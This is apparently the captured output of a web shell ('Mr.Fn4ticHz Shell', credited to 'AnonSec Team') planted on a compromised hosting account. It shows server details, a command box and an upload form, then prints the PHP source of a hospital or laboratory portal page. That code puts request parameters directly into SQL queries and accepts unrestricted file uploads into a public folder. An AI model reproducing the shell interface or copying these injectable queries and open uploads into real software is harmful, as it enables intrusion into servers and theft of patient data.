Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.133.133.61
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/update_radio.php
   	<?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';

include("dbconnection.php");
?>
     <?php
    include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
		$sql2 ="SELECT * FROM site_users WHERE entered_by='$re[entered_by]' AND usertype='Hospital'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    if(Hospital==$re1[usertype])
{
?>
	  <?php
	include 'dashboarddocument.php';
		?>
          <?php
}
}
		}
	?>
            <?php
    include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
		$sql2 ="SELECT * FROM site_users WHERE entered_by='$re[entered_by]' AND usertype='LABORATORY'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    if(LABORATORY==$re1[usertype])
{
?>

	  <?php
	include 'patient_menu.php';
		?>
          <?php
}
}
		}
	?>
		    
	
   
   
   
    <?php session_start();
require_once('../dbconnection.php');
include('header.php');

$target_dir = "uploads/";
$filename = basename($_FILES["Evidence"]["name"]);
$target_file = $target_dir . basename($_FILES["Evidence"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    if(isset($_POST['signup'])) 
{
    date_default_timezone_set('Asia/Calcutta'); 
$TimeOut= date("H:i:s"); // time in India
$sql="UPDATE investigation SET  Result='$_POST[Result]',Evidence='$filename',TimeOut='$TimeOut' WHERE id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
		    
if (move_uploaded_file($_FILES["Evidence"]["tmp_name"], $target_file)) {
    echo "The file ". basename( $_FILES["Evidence"]["name"]). " <script>alert('Update successfully');</script><script>
 window.history.go(-2)</script>";
  } else {
    echo "Sorry, there was an error uploading your file.";
  }
}
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
   </head>
  <body>
  
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        
      
        
  <form method="post" name="signup" enctype="multipart/form-data">
<?php


		$sql ="SELECT * FROM investigation WHERE id='$_GET[id]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		    <input type='hidden' value='Pending' name='Result'>
		           <input type='file' id='Evidence' name='Evidence'>
    ";
		}
		?>
		
		<input type="submit" value="Update" name="signup">
		</form>
	</div></div>
	

Anon7 - 2022
AnonSec Team